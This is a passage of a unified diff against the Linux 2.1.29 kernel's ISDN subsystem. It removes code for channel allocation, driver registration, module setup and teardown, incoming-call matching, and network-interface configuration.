-}; - -char * -isdn_map_eaz2msn(char *msn, int di) -{ - driver *this = dev->drv[di]; - int i; - - if (strlen(msn) == 1) { - i = msn[0] - '0'; - if ((i >= 0) && (i <= 9)) - if (strlen(this->msn2eaz[i])) - return (this->msn2eaz[i]); - } - return (msn); -} - -/* - * Find an unused ISDN-channel, whose feature-flags match the - * given L2- and L3-protocols. - */ -int -isdn_get_free_channel(int usage, int l2_proto, int l3_proto, int pre_dev - ,int pre_chan) -{ - int i; - ulong flags; - ulong features; - isdn_ctrl cmd; - - save_flags(flags); - cli(); - features = (1 << l2_proto) | (0x100 << l3_proto); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if (USG_NONE(dev->usage[i]) && - (dev->drvmap[i] != -1)) { - int d = dev->drvmap[i]; - if ((dev->usage[i] & ISDN_USAGE_EXCLUSIVE) && - ((pre_dev != d) || (pre_chan != dev->chanmap[i]))) - continue; - if ((dev->drv[d]->running)) { - if ((dev->drv[d]->interface->features & features) == features) { - if ((pre_dev < 0) || (pre_chan < 0)) { - dev->usage[i] &= ISDN_USAGE_EXCLUSIVE; - dev->usage[i] |= usage; - isdn_info_update(); - cmd.driver = d; - cmd.arg = 0; - cmd.command = ISDN_CMD_LOCK; - (void) dev->drv[d]->interface->command(&cmd); - restore_flags(flags); - return i; - } else { - if ((pre_dev == d) && (pre_chan == dev->chanmap[i])) { - dev->usage[i] &= ISDN_USAGE_EXCLUSIVE; - dev->usage[i] |= usage; - isdn_info_update(); - cmd.driver = d; - cmd.arg = 0; - cmd.command = ISDN_CMD_LOCK; - (void) dev->drv[d]->interface->command(&cmd); - restore_flags(flags); - return i; - } - } - } - } - } - restore_flags(flags); - return -1; -} - -/* - * Set state of ISDN-channel to 'unused' - */ -void -isdn_free_channel(int di, int ch, int usage) -{ - int i; - ulong flags; - isdn_ctrl cmd; - - save_flags(flags); - cli(); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if (((dev->usage[i] & ISDN_USAGE_MASK) == usage) && - (dev->drvmap[i] == di) && - (dev->chanmap[i] == ch)) { - dev->usage[i] &= (ISDN_USAGE_NONE | ISDN_USAGE_EXCLUSIVE); - strcpy(dev->num[i], "???"); - dev->ibytes[i] = 0; - dev->obytes[i] = 0; - isdn_info_update(); - isdn_free_queue(&dev->drv[di]->rpqueue[ch]); - cmd.driver = di; - cmd.arg = ch; - cmd.command = ISDN_CMD_UNLOCK; - restore_flags(flags); - (void) dev->drv[di]->interface->command(&cmd); - return; - } - restore_flags(flags); -} - -/* - * Cancel Exclusive-Flag for ISDN-channel - */ -void -isdn_unexclusive_channel(int di, int ch) -{ - int i; - ulong flags; - - save_flags(flags); - cli(); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - if ((dev->drvmap[i] == di) && - (dev->chanmap[i] == ch)) { - dev->usage[i] &= ~ISDN_USAGE_EXCLUSIVE; - isdn_info_update(); - restore_flags(flags); - return; - } - restore_flags(flags); -} - -/* - * receive callback handler for drivers not supporting sk_buff's. - * Parameters: - * - * di = Driver-Index. - * channel = Number of B-Channel (0...) - * buf = pointer to packet-data - * len = Length of packet-data - * - */ -static void -isdn_receive_callback(int drvidx, int chan, u_char * buf, int len) -{ - struct sk_buff *skb; - - if (dev->global_flags & ISDN_GLOBAL_STOPPED) - return; - skb = dev_alloc_skb(len); - if (skb) { - memcpy(skb_put(skb, len), buf, len); - isdn_receive_skb_callback(drvidx, chan, skb); - } else - printk(KERN_WARNING "isdn: rcv alloc_skb failed, packet dropped.\n"); -} - -/* - * writebuf replacement for SKB_ABLE drivers - */ -static int -isdn_writebuf_stub(int drvidx, int chan, const u_char * buf, int len, - int user) -{ - int ret; - - if (dev->drv[drvidx]->interface->writebuf) - ret = dev->drv[drvidx]->interface->writebuf(drvidx, chan, buf, - len, user); - else { - struct sk_buff *skb; - - skb = alloc_skb(dev->drv[drvidx]->interface->hl_hdrlen + len, - GFP_ATOMIC); - if (skb == NULL) - return 0; - - skb_reserve(skb, dev->drv[drvidx]->interface->hl_hdrlen); - SET_SKB_FREE(skb); - - if (user) - copy_from_user(skb_put(skb, len), buf, len); - else - memcpy(skb_put(skb, len), buf, len); - - ret = dev->drv[drvidx]->interface->writebuf_skb(drvidx, - chan, skb); - if (ret <= 0) - kfree_skb(skb, FREE_WRITE); - } - if (ret > 0) - dev->obytes[isdn_dc2minor(drvidx, chan)] += ret; - return ret; -} - -/* - * writebuf_skb replacement for NON SKB_ABLE drivers - * If lowlevel-device does not support supports skbufs, use - * standard send-routine, else sind directly. - * - * Return: length of data on success, -ERRcode on failure. - */ - -int -isdn_writebuf_skb_stub(int drvidx, int chan, struct sk_buff *skb) -{ - int ret; - int len = skb->len; /* skb pointer no longer valid after free */ - - if (dev->drv[drvidx]->interface->writebuf_skb) - ret = dev->drv[drvidx]->interface-> - writebuf_skb(drvidx, chan, skb); - else { - if ((ret = dev->drv[drvidx]->interface-> - writebuf(drvidx, chan, skb->data, skb->len, 0)) == len) - dev_kfree_skb(skb, FREE_WRITE); - } - if (ret > 0) - dev->obytes[isdn_dc2minor(drvidx, chan)] += len; - return ret; -} - -/* - * Low-level-driver registration - */ - -int -register_isdn(isdn_if * i) -{ - driver *d; - int n, - j, - k; - ulong flags; - int drvidx; - - if (dev->drivers >= ISDN_MAX_DRIVERS) { - printk(KERN_WARNING "register_isdn: Max. %d drivers supported\n", - ISDN_MAX_DRIVERS); - return 0; - } - n = i->channels; - if (dev->channels + n > ISDN_MAX_CHANNELS) { - printk(KERN_WARNING "register_isdn: Max. %d channels supported\n", - ISDN_MAX_CHANNELS); - return 0; - } - if ((!i->writebuf_skb) && (!i->writebuf)) { - printk(KERN_WARNING "register_isdn: No write routine given.\n"); - return 0; - } - if (!(d = (driver *) kmalloc(sizeof(driver), GFP_KERNEL))) { - printk(KERN_WARNING "register_isdn: Could not alloc driver-struct\n"); - return 0; - } - memset((char *) d, 0, sizeof(driver)); - if (!(d->rcverr = (int *) kmalloc(sizeof(int) * n, GFP_KERNEL))) { - printk(KERN_WARNING "register_isdn: Could not alloc rcverr\n"); - kfree(d); - return 0; - } - memset((char *) d->rcverr, 0, sizeof(int) * n); - if (!(d->rcvcount = (int *) kmalloc(sizeof(int) * n, GFP_KERNEL))) { - printk(KERN_WARNING "register_isdn: Could not alloc rcvcount\n"); - kfree(d->rcverr); - kfree(d); - return 0; - } - memset((char *) d->rcvcount, 0, sizeof(int) * n); - if (!(d->rpqueue = - (struct sk_buff_head *) kmalloc(sizeof(struct sk_buff_head) * n, GFP_KERNEL))) { - printk(KERN_WARNING "register_isdn: Could not alloc rpqueue\n"); - kfree(d->rcvcount); - kfree(d->rcverr); - kfree(d); - return 0; - } - for (j = 0; j < n; j++) { - skb_queue_head_init(&d->rpqueue[j]); - } - if (!(d->rcv_waitq = (struct wait_queue **) - kmalloc(sizeof(struct wait_queue *) * n, GFP_KERNEL))) { - printk(KERN_WARNING "register_isdn: Could not alloc rcv_waitq\n"); - kfree(d->rpqueue); - kfree(d->rcvcount); - kfree(d->rcverr); - kfree(d); - return 0; - } - memset((char *) d->rcv_waitq, 0, sizeof(struct wait_queue *) * n); - if (!(d->snd_waitq = (struct wait_queue **) - kmalloc(sizeof(struct wait_queue *) * n, GFP_KERNEL))) { - printk(KERN_WARNING "register_isdn: Could not alloc snd_waitq\n"); - kfree(d->rcv_waitq); - kfree(d->rpqueue); - kfree(d->rcvcount); - kfree(d->rcverr); - kfree(d); - return 0; - } - memset((char *) d->snd_waitq, 0, sizeof(struct wait_queue *) * n); - d->channels = n; - d->loaded = 1; - d->maxbufsize = i->maxbufsize; - d->pktcount = 0; - d->stavail = 0; - d->running = 0; - d->flags = 0; - d->interface = i; - for (drvidx = 0; drvidx < ISDN_MAX_DRIVERS; drvidx++) - if (!dev->drv[drvidx]) - break; - i->channels = drvidx; - - i->rcvcallb_skb = isdn_receive_skb_callback; - i->rcvcallb = isdn_receive_callback; - i->statcallb = isdn_status_callback; - if (!strlen(i->id)) - sprintf(i->id, "line%d", drvidx); - save_flags(flags); - cli(); - for (j = 0; j < drvidx; j++) - if (!strcmp(i->id, dev->drvid[j])) - sprintf(i->id, "line%d", drvidx); - for (j = 0; j < n; j++) - for (k = 0; k < ISDN_MAX_CHANNELS; k++) - if (dev->chanmap[k] < 0) { - dev->chanmap[k] = j; - dev->drvmap[k] = drvidx; - break; - } - dev->drv[drvidx] = d; - dev->channels += n; - strcpy(dev->drvid[drvidx], i->id); - isdn_info_update(); - dev->drivers++; - restore_flags(flags); - return 1; -} - -/* - ***************************************************************************** - * And now the modules code. - ***************************************************************************** - */ - -extern int printk(const char *fmt,...); - -#ifdef MODULE -#define isdn_init init_module -#endif - -static char * -isdn_getrev(const char *revision) -{ - char *rev; - char *p; - - if ((p = strchr(revision, ':'))) { - rev = p + 2; - p = strchr(rev, '$'); - *--p = 0; - } else - rev = "???"; - return rev; -} - -/* - * Allocate and initialize all data, register modem-devices - */ -int -isdn_init(void) -{ - int i; - char irev[50]; - char trev[50]; - char nrev[50]; - char prev[50]; - char arev[50]; - - sti(); - if (!(dev = (isdn_dev *) kmalloc(sizeof(isdn_dev), GFP_KERNEL))) { - printk(KERN_WARNING "isdn: Could not allocate device-struct.\n"); - return -EIO; - } - memset((char *) dev, 0, sizeof(isdn_dev)); -#ifdef NEW_ISDN_TIMER_CTRL - init_timer(&dev->timer); - dev->timer.function = isdn_timer_funct; -#endif - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - dev->drvmap[i] = -1; - dev->chanmap[i] = -1; - dev->m_idx[i] = -1; - strcpy(dev->num[i], "???"); - } - if (register_chrdev(ISDN_MAJOR, "isdn", &isdn_fops)) { - printk(KERN_WARNING "isdn: Could not register control devices\n"); - kfree(dev); - return -EIO; - } - if ((i = isdn_tty_modem_init()) < 0) { - printk(KERN_WARNING "isdn: Could not register tty devices\n"); - if (i == -3) - tty_unregister_driver(&dev->mdm.cua_modem); - if (i <= -2) - tty_unregister_driver(&dev->mdm.tty_modem); - kfree(dev); - unregister_chrdev(ISDN_MAJOR, "isdn"); - return -EIO; - } -#ifdef CONFIG_ISDN_PPP - if (isdn_ppp_init() < 0) { - printk(KERN_WARNING "isdn: Could not create PPP-device-structs\n"); - tty_unregister_driver(&dev->mdm.tty_modem); - tty_unregister_driver(&dev->mdm.cua_modem); - for (i = 0; i < ISDN_MAX_CHANNELS; i++) - kfree(dev->mdm.info[i].xmit_buf - 4); - unregister_chrdev(ISDN_MAJOR, "isdn"); - kfree(dev); - return -EIO; - } -#endif /* CONFIG_ISDN_PPP */ - - isdn_export_syms(); - - strcpy(irev, isdn_revision); - strcpy(trev, isdn_tty_revision); - strcpy(nrev, isdn_net_revision); - strcpy(prev, isdn_ppp_revision); - strcpy(arev, isdn_audio_revision); - printk(KERN_NOTICE "ISDN subsystem Rev: %s/", isdn_getrev(irev)); - printk("%s/", isdn_getrev(trev)); - printk("%s/", isdn_getrev(nrev)); - printk("%s/", isdn_getrev(prev)); - printk("%s", isdn_getrev(arev)); - -#ifdef MODULE - printk(" loaded\n"); -#else - printk("\n"); - isdn_cards_init(); -#endif - isdn_info_update(); - return 0; -} - -#ifdef MODULE -/* - * Unload module - */ -void -cleanup_module(void) -{ - int flags; - int i; - -#ifdef CONFIG_ISDN_PPP - isdn_ppp_cleanup(); -#endif - save_flags(flags); - cli(); - if (isdn_net_rmall() < 0) { - printk(KERN_WARNING "isdn: net-device busy, remove cancelled\n"); - restore_flags(flags); - return; - } - if (tty_unregister_driver(&dev->mdm.tty_modem)) { - printk(KERN_WARNING "isdn: ttyI-device busy, remove cancelled\n"); - restore_flags(flags); - return; - } - if (tty_unregister_driver(&dev->mdm.cua_modem)) { - printk(KERN_WARNING "isdn: cui-device busy, remove cancelled\n"); - restore_flags(flags); - return; - } - for (i = 0; i < ISDN_MAX_CHANNELS; i++) { - isdn_tty_cleanup_xmit(&dev->mdm.info[i]); - kfree(dev->mdm.info[i].xmit_buf - 4); - } - if (unregister_chrdev(ISDN_MAJOR, "isdn") != 0) { - printk(KERN_WARNING "isdn: controldevice busy, remove cancelled\n"); - } else { - del_timer(&dev->timer); - kfree(dev); - printk(KERN_NOTICE "ISDN-subsystem unloaded\n"); - } - restore_flags(flags); -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/isdn/isdn_net.c linux/drivers/isdn/isdn_net.c --- linux-2.1.29/drivers/isdn/isdn_net.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/isdn_net.c Wed Mar 5 21:12:24 1997 @@ -1710,831 +1710,51 @@ printk(KERN_DEBUG "n_fi: already on 2nd channel\n"); #endif p = (isdn_net_dev *) p->next; - continue; - } - } - } -#ifdef ISDN_DEBUG_NET_ICALL - printk(KERN_DEBUG "n_fi: match2\n"); -#endif - n = p->local.phone[0]; - if (p->local.flags & ISDN_NET_SECURE) { - while (n) { - if (isdn_net_wildmat(nr, n->num)) - break; - n = (isdn_net_phone *) n->next; - } - } - if (n || (!(p->local.flags & ISDN_NET_SECURE))) { - isdn_net_local *lp = &(p->local); -#ifdef ISDN_DEBUG_NET_ICALL - printk(KERN_DEBUG "n_fi: match3\n"); -#endif - /* Here we got an interface matched, now see if it is up. - * If not, reject the call actively. - */ - if (!p->dev.start) { - restore_flags(flags); - printk(KERN_INFO "%s: incoming call, if down -> rejected\n", - lp->name); - return 3; - } - /* Interface is up, now see if it's a slave. If so, see if - * it's master and parent slave is online. If not, reject the call. - */ - if (lp->master) { - isdn_net_local *mlp = (isdn_net_local *) lp->master->priv; - printk(KERN_DEBUG "ICALLslv: %s\n", lp->name); - printk(KERN_DEBUG "master=%s\n", mlp->name); - if (mlp->flags & ISDN_NET_CONNECTED) { - printk(KERN_DEBUG "master online\n"); - /* Master is online, find parent-slave (master if first slave) */ - while (mlp->slave) { - if ((isdn_net_local *) mlp->slave->priv == lp) - break; - mlp = (isdn_net_local *) mlp->slave->priv; - } - } else - printk(KERN_DEBUG "master offline\n"); - /* Found parent, if it's offline iterate next device */ - printk(KERN_DEBUG "mlpf: %d\n", mlp->flags & ISDN_NET_CONNECTED); - if (!(mlp->flags & ISDN_NET_CONNECTED)) { - p = (isdn_net_dev *) p->next; - continue; - } - } - if (lp->flags & ISDN_NET_CALLBACK) { - int chi; - printk(KERN_DEBUG "%s: call from %s -> %s, start callback\n", - lp->name, nr, eaz); - if (lp->phone[1]) { - /* Grab a free ISDN-Channel */ - if ((chi = isdn_get_free_channel(ISDN_USAGE_NET, lp->l2_proto, - lp->l3_proto, - lp->pre_device, - lp->pre_channel)) < 0) { - printk(KERN_WARNING "isdn_net_find_icall: No channel for %s\n", lp->name); - restore_flags(flags); - return 0; - } - /* Setup dialstate. */ - lp->dtimer = 0; - lp->dialstate = 11; - lp->flags |= ISDN_NET_CONNECTED; - /* Connect interface with channel */ - isdn_net_bind_channel(lp, chi); -#ifdef CONFIG_ISDN_PPP - if (lp->p_encap == ISDN_NET_ENCAP_SYNCPPP) - if (isdn_ppp_bind(lp) < 0) { - isdn_net_unbind_channel(lp); - restore_flags(flags); - return 0; - } -#endif - /* Initiate dialing by returning 2 or 4 */ - restore_flags(flags); - return (lp->flags & ISDN_NET_CBHUP) ? 2 : 4; - } else - printk(KERN_WARNING "isdn_net: %s: No phone number\n", lp->name); - restore_flags(flags); - return 0; - } else { - printk(KERN_DEBUG "%s: call from %s -> %s accepted\n", lp->name, nr, - eaz); - /* if this interface is dialing, it does it probably on a different - device, so free this device */ - if ((p->local.dialstate == 4) || (p->local.dialstate == 12)) { -#ifdef CONFIG_ISDN_PPP - if (lp->p_encap == ISDN_NET_ENCAP_SYNCPPP) - isdn_ppp_free(lp); -#endif - isdn_free_channel(p->local.isdn_device, p->local.isdn_channel, - ISDN_USAGE_NET); - } - dev->usage[idx] &= ISDN_USAGE_EXCLUSIVE; - dev->usage[idx] |= ISDN_USAGE_NET; - strcpy(dev->num[idx], nr); - isdn_info_update(); - dev->st_netdev[idx] = lp->netdev; - p->local.isdn_device = di; - p->local.isdn_channel = ch; - p->local.ppp_slot = -1; - p->local.flags |= ISDN_NET_CONNECTED; - p->local.dialstate = 7; - p->local.dtimer = 0; - p->local.outgoing = 0; - p->local.huptimer = 0; - p->local.hupflags |= ISDN_WAITCHARGE; - p->local.hupflags &= ~ISDN_HAVECHARGE; -#ifdef CONFIG_ISDN_PPP - if (lp->p_encap == ISDN_NET_ENCAP_SYNCPPP) - if (isdn_ppp_bind(lp) < 0) { - isdn_net_unbind_channel(lp); - restore_flags(flags); - return 0; - } -#endif - restore_flags(flags); - return 1; - } - } - } - p = (isdn_net_dev *) p->next; - } - /* If none of configured EAZ/MSN matched and not verbose, be silent */ - if (ematch || dev->net_verbose) - printk(KERN_INFO "isdn_net: call from %s -> %d %s ignored\n", nr, di, eaz); - restore_flags(flags); - return 0; -} - -/* - * Search list of net-interfaces for an interface with given name. - */ -isdn_net_dev * -isdn_net_findif(char *name) -{ - isdn_net_dev *p = dev->netdev; - - while (p) { - if (!strcmp(p->local.name, name)) - return p; - p = (isdn_net_dev *) p->next; - } - return (isdn_net_dev *) NULL; -} - -/* - * Force a net-interface to dial out. - * This is called from the userlevel-routine below or - * from isdn_net_start_xmit(). - */ -int -isdn_net_force_dial_lp(isdn_net_local * lp) -{ - if ((!(lp->flags & ISDN_NET_CONNECTED)) && !lp->dialstate) { - int chi; - if (lp->phone[1]) { - ulong flags; - save_flags(flags); - cli(); - /* Grab a free ISDN-Channel */ - if ((chi = isdn_get_free_channel(ISDN_USAGE_NET, lp->l2_proto, - lp->l3_proto, - lp->pre_device, - lp->pre_channel)) < 0) { - printk(KERN_WARNING "isdn_net_force_dial: No channel for %s\n", lp->name); - restore_flags(flags); - return -EAGAIN; - } - lp->dialstate = 1; - lp->flags |= ISDN_NET_CONNECTED; - /* Connect interface with channel */ - isdn_net_bind_channel(lp, chi); -#ifdef CONFIG_ISDN_PPP - if (lp->p_encap == ISDN_NET_ENCAP_SYNCPPP) - if (isdn_ppp_bind(lp) < 0) { - isdn_net_unbind_channel(lp); - restore_flags(flags); - return -EAGAIN; - } -#endif - /* Initiate dialing */ - restore_flags(flags); - isdn_net_dial(); - return 0; - } else - return -EINVAL; - } else - return -EBUSY; -} - -/* - * Force a net-interface to dial out. - * This is always called from within userspace (ISDN_IOCTL_NET_DIAL). - */ -int -isdn_net_force_dial(char *name) -{ - isdn_net_dev *p = isdn_net_findif(name); - - if (!p) - return -ENODEV; - return (isdn_net_force_dial_lp(&p->local)); -} - -/* - * Allocate a new network-interface and initialize its data structures. - */ -char * -isdn_net_new(char *name, struct device *master) -{ - isdn_net_dev *netdev; - - /* Avoid creating an existing interface */ - if (isdn_net_findif(name)) { - printk(KERN_WARNING "isdn_net: interface %s already exists\n", name); - return NULL; - } - if (!(netdev = (isdn_net_dev *) kmalloc(sizeof(isdn_net_dev), GFP_KERNEL))) { - printk(KERN_WARNING "isdn_net: Could not allocate net-device\n"); - return NULL; - } - memset(netdev, 0, sizeof(isdn_net_dev)); - if (name == NULL) - strcpy(netdev->local.name, " "); - else - strcpy(netdev->local.name, name); - netdev->dev.name = netdev->local.name; - netdev->dev.priv = &netdev->local; - netdev->dev.init = isdn_net_init; - netdev->local.p_encap = ISDN_NET_ENCAP_RAWIP; - if (master) { - /* Device shall be a slave */ - struct device *p = (((isdn_net_local *) master->priv)->slave); - struct device *q = master; - - netdev->local.master = master; - /* Put device at end of slave-chain */ - while (p) { - q = p; - p = (((isdn_net_local *) p->priv)->slave); - } - ((isdn_net_local *) q->priv)->slave = &(netdev->dev); - q->interrupt = 0; - q->tbusy = 0; - q->start = master->start; - } else { - /* Device shall be a master */ - if (register_netdev(&netdev->dev) != 0) { - printk(KERN_WARNING "isdn_net: Could not register net-device\n"); - kfree(netdev); - return NULL; - } - } - netdev->local.magic = ISDN_NET_MAGIC; - -#ifdef CONFIG_ISDN_PPP - netdev->mp_last = NULL; /* mpqueue is empty */ - netdev->ib.next_num = 0; - netdev->ib.last = NULL; -#endif - netdev->queue = &netdev->local; - netdev->local.last = &netdev->local; - netdev->local.netdev = netdev; - netdev->local.next = &netdev->local; - - netdev->local.isdn_device = -1; - netdev->local.isdn_channel = -1; - netdev->local.pre_device = -1; - netdev->local.pre_channel = -1; - netdev->local.exclusive = -1; - netdev->local.ppp_slot = -1; - netdev->local.pppbind = -1; - netdev->local.sav_skb = NULL; - netdev->local.first_skb = NULL; - netdev->local.l2_proto = ISDN_PROTO_L2_X75I; - netdev->local.l3_proto = ISDN_PROTO_L3_TRANS; - netdev->local.slavedelay = 10 * HZ; - netdev->local.srobin = &netdev->dev; - netdev->local.hupflags = ISDN_INHUP; /* Do hangup even on incoming calls */ - netdev->local.onhtime = 10; /* Default hangup-time for saving costs - of those who forget configuring this */ - netdev->local.dialmax = 1; - netdev->local.flags = ISDN_NET_CBHUP; /* Hangup before Callback */ - netdev->local.cbdelay = 25; /* Wait 5 secs before Callback */ - /* Put into to netdev-chain */ - netdev->next = (void *) dev->netdev; - dev->netdev = netdev; - return netdev->dev.name; -} - -char * -isdn_net_newslave(char *parm) -{ - char *p = strchr(parm, ','); - isdn_net_dev *n; - char newname[10]; - - if (p) { - /* Slave-Name MUST not be empty */ - if (!strlen(p + 1)) - return NULL; - strcpy(newname, p + 1); - *p = 0; - /* Master must already exist */ - if (!(n = isdn_net_findif(parm))) - return NULL; - /* Master must be a real interface, not a slave */ - if (n->local.master) - return NULL; - /* Master must not be started yet */ - if (n->dev.start) - return NULL; - return (isdn_net_new(newname, &(n->dev))); - } - return NULL; -} - -/* - * Set interface-parameters. - * Always set all parameters, so the user-level application is responsible - * for not overwriting existing setups. It has to get the current - * setup first, if only selected parameters are to be changed. - */ -int -isdn_net_setcfg(isdn_net_ioctl_cfg * cfg) -{ - isdn_net_dev *p = isdn_net_findif(cfg->name); - ulong features; - int i; - int drvidx; - int chidx; - char drvid[25]; - - if (p) { - /* See if any registered driver supports the features we want */ - features = (1 << cfg->l2_proto) | (256 << cfg->l3_proto); - for (i = 0; i < ISDN_MAX_DRIVERS; i++) - if (dev->drv[i]) - if ((dev->drv[i]->interface->features & features) == features) - break; - if (i == ISDN_MAX_DRIVERS) { - printk(KERN_WARNING "isdn_net: No driver with selected features\n"); - return -ENODEV; - } - if (p->local.p_encap != cfg->p_encap) - if (p->dev.start) { - printk(KERN_WARNING - "%s: cannot change encap when if is up\n", - p->local.name); - return -EBUSY; - } - if (cfg->p_encap == ISDN_NET_ENCAP_SYNCPPP) { -#ifndef CONFIG_ISDN_PPP - printk(KERN_WARNING "%s: SyncPPP support not configured\n", - p->local.name); - return -EINVAL; -#else - p->dev.type = ARPHRD_PPP; /* change ARP type */ - p->dev.addr_len = 0; -#endif - } - if (strlen(cfg->drvid)) { - /* A bind has been requested ... */ - char *c, - *e; - - drvidx = -1; - chidx = -1; - strcpy(drvid, cfg->drvid); - if ((c = strchr(drvid, ','))) { - /* The channel-number is appended to the driver-Id with a comma */ - chidx = (int) simple_strtoul(c + 1, &e, 10); - if (e == c) - chidx = -1; - *c = '\0'; - } - for (i = 0; i < ISDN_MAX_DRIVERS; i++) - /* Lookup driver-Id in array */ - if (!(strcmp(dev->drvid[i], drvid))) { - drvidx = i; - break; - } - if ((drvidx == -1) || (chidx == -1)) - /* Either driver-Id or channel-number invalid */ - return -ENODEV; - } else { - /* Parameters are valid, so get them */ - drvidx = p->local.pre_device; - chidx = p->local.pre_channel; - } - if (cfg->exclusive > 0) { - int flags; - - /* If binding is exclusive, try to grab the channel */ - save_flags(flags); - if ((i = isdn_get_free_channel(ISDN_USAGE_NET, p->local.l2_proto, - p->local.l3_proto, - drvidx, - chidx)) < 0) { - /* Grab failed, because desired channel is in use */ - p->local.exclusive = -1; - restore_flags(flags); - return -EBUSY; - } - /* All went ok, so update isdninfo */ - dev->usage[i] = ISDN_USAGE_EXCLUSIVE; - isdn_info_update(); - restore_flags(flags); - p->local.exclusive = i; - } else { - /* Non-exclusive binding or unbind. */ - p->local.exclusive = -1; - if ((p->local.pre_device != -1) && (cfg->exclusive == -1)) { - isdn_unexclusive_channel(p->local.pre_device, p->local.pre_channel); - isdn_free_channel(p->local.pre_device, p->local.pre_channel, ISDN_USAGE_NET); - drvidx = -1; - chidx = -1; - } - } - strcpy(p->local.msn, cfg->eaz); - p->local.pre_device = drvidx; - p->local.pre_channel = chidx; - p->local.onhtime = cfg->onhtime; - p->local.charge = cfg->charge; - p->local.l2_proto = cfg->l2_proto; - p->local.l3_proto = cfg->l3_proto; - p->local.cbdelay = cfg->cbdelay; - p->local.dialmax = cfg->dialmax; - p->local.slavedelay = cfg->slavedelay * HZ; - p->local.pppbind = cfg->pppbind; - if (cfg->secure) - p->local.flags |= ISDN_NET_SECURE; - else - p->local.flags &= ~ISDN_NET_SECURE; - if (cfg->cbhup) - p->local.flags |= ISDN_NET_CBHUP; - else - p->local.flags &= ~ISDN_NET_CBHUP; - switch (cfg->callback) { - case 0: - p->local.flags &= ~(ISDN_NET_CALLBACK | ISDN_NET_CBOUT); - break; - case 1: - p->local.flags |= ISDN_NET_CALLBACK; - p->local.flags &= ~ISDN_NET_CBOUT; - break; - case 2: - p->local.flags |= ISDN_NET_CBOUT; - p->local.flags &= ~ISDN_NET_CALLBACK; - break; - } - if (cfg->chargehup) - p->local.hupflags |= ISDN_CHARGEHUP; - else - p->local.hupflags &= ~ISDN_CHARGEHUP; - if (cfg->ihup) - p->local.hupflags |= ISDN_INHUP; - else - p->local.hupflags &= ~ISDN_INHUP; - if (cfg->chargeint > 10) { - p->local.hupflags |= ISDN_CHARGEHUP | ISDN_HAVECHARGE | ISDN_MANCHARGE; - p->local.chargeint = cfg->chargeint * HZ; - } - if (cfg->p_encap != p->local.p_encap) { - if (cfg->p_encap == ISDN_NET_ENCAP_RAWIP) { - p->dev.hard_header = NULL; -#if (LINUX_VERSION_CODE < 0x02010F) - p->dev.header_cache_bind = NULL; -#else - p->dev.hard_header_cache = NULL; -#endif - p->dev.header_cache_update = NULL; - p->dev.flags = IFF_NOARP; - } else { - p->dev.hard_header = isdn_net_header; - if (cfg->p_encap == ISDN_NET_ENCAP_ETHER) { -#if (LINUX_VERSION_CODE < 0x02010F) - p->dev.header_cache_bind = p->local.org_hcb; -#else - p->dev.hard_header_cache = p->local.org_hhc; -#endif - p->dev.header_cache_update = p->local.org_hcu; - p->dev.flags = IFF_BROADCAST | IFF_MULTICAST; - } else { -#if (LINUX_VERSION_CODE < 0x02010F) - p->dev.header_cache_bind = NULL; -#else - p->dev.hard_header_cache = NULL; -#endif - p->dev.header_cache_update = NULL; - p->dev.flags = IFF_NOARP; - } - } - } - p->local.p_encap = cfg->p_encap; - return 0; - } - return -ENODEV; -} - -/* - * Perform get-interface-parameters.ioctl - */ -int -isdn_net_getcfg(isdn_net_ioctl_cfg * cfg) -{ - isdn_net_dev *p = isdn_net_findif(cfg->name); - - if (p) { - strcpy(cfg->eaz, p->local.msn); - cfg->exclusive = p->local.exclusive; - if (p->local.pre_device >= 0) { - sprintf(cfg->drvid, "%s,%d", dev->drvid[p->local.pre_device], - p->local.pre_channel); - } else - cfg->drvid[0] = '\0'; - cfg->onhtime = p->local.onhtime; - cfg->charge = p->local.charge; - cfg->l2_proto = p->local.l2_proto; - cfg->l3_proto = p->local.l3_proto; - cfg->p_encap = p->local.p_encap; - cfg->secure = (p->local.flags & ISDN_NET_SECURE) ? 1 : 0; - cfg->callback = 0; - if (p->local.flags & ISDN_NET_CALLBACK) - cfg->callback = 1; - if (p->local.flags & ISDN_NET_CBOUT) - cfg->callback = 2; - cfg->cbhup = (p->local.flags & ISDN_NET_CBHUP) ? 1 : 0; - cfg->chargehup = (p->local.hupflags & 4) ? 1 : 0; - cfg->ihup = (p->local.hupflags & 8) ? 1 : 0; - cfg->cbdelay = p->local.cbdelay; - cfg->dialmax = p->local.dialmax; - cfg->slavedelay = p->local.slavedelay / HZ; - cfg->chargeint = (p->local.hupflags & ISDN_CHARGEHUP) ? - (p->local.chargeint / HZ) : 0; - cfg->pppbind = p->local.pppbind; - if (p->local.slave) - strcpy(cfg->slave, ((isdn_net_local *) p->local.slave->priv)->name); - else - cfg->slave[0] = '\0'; - if (p->local.master) - strcpy(cfg->master, ((isdn_net_local *) p->local.master->priv)->name); - else - cfg->master[0] = '\0'; - return 0; - } - return -ENODEV; -} - -/* - * Add a phone-number to an interface. - */ -int -isdn_net_addphone(isdn_net_ioctl_phone * phone) -{ - isdn_net_dev *p = isdn_net_findif(phone->name); - isdn_net_phone *n; - - if (isdn_net_checkwild(phone->phone) && (phone->outgoing & 1)) - return -EINVAL; - if (p) { - if (!(n = (isdn_net_phone *) kmalloc(sizeof(isdn_net_phone), GFP_KERNEL))) - return -ENOMEM; - strcpy(n->num, phone->phone); - n->next = p->local.phone[phone->outgoing & 1]; - p->local.phone[phone->outgoing & 1] = n; - return 0; - } - return -ENODEV; -} - -/* - * Return a string of all phone-numbers of an interface. - */ -int -isdn_net_getphones(isdn_net_ioctl_phone * phone, char *phones) -{ - isdn_net_dev *p = isdn_net_findif(phone->name); - int inout = phone->outgoing & 1; - int more = 0; - int count = 0; - isdn_net_phone *n; - int flags; - int ret; - - if (!p) - return -ENODEV; - save_flags(flags); - cli(); - inout &= 1; - for (n = p->local.phone[inout]; n; n = n->next) { - if (more) { - put_user(' ', phones++); - count++; - } - if ((ret = verify_area(VERIFY_WRITE, (void *) phones, strlen(n->num) + 1))) { - restore_flags(flags); - return ret; - } - copy_to_user(phones, n->num, strlen(n->num) + 1); - phones += strlen(n->num); - count += strlen(n->num); - more = 1; - } - put_user(0, phones); - count++; - restore_flags(flags); - return count; -} - -/* - * Delete a phone-number from an interface. - */ - -int -isdn_net_delphone(isdn_net_ioctl_phone * phone) -{ - 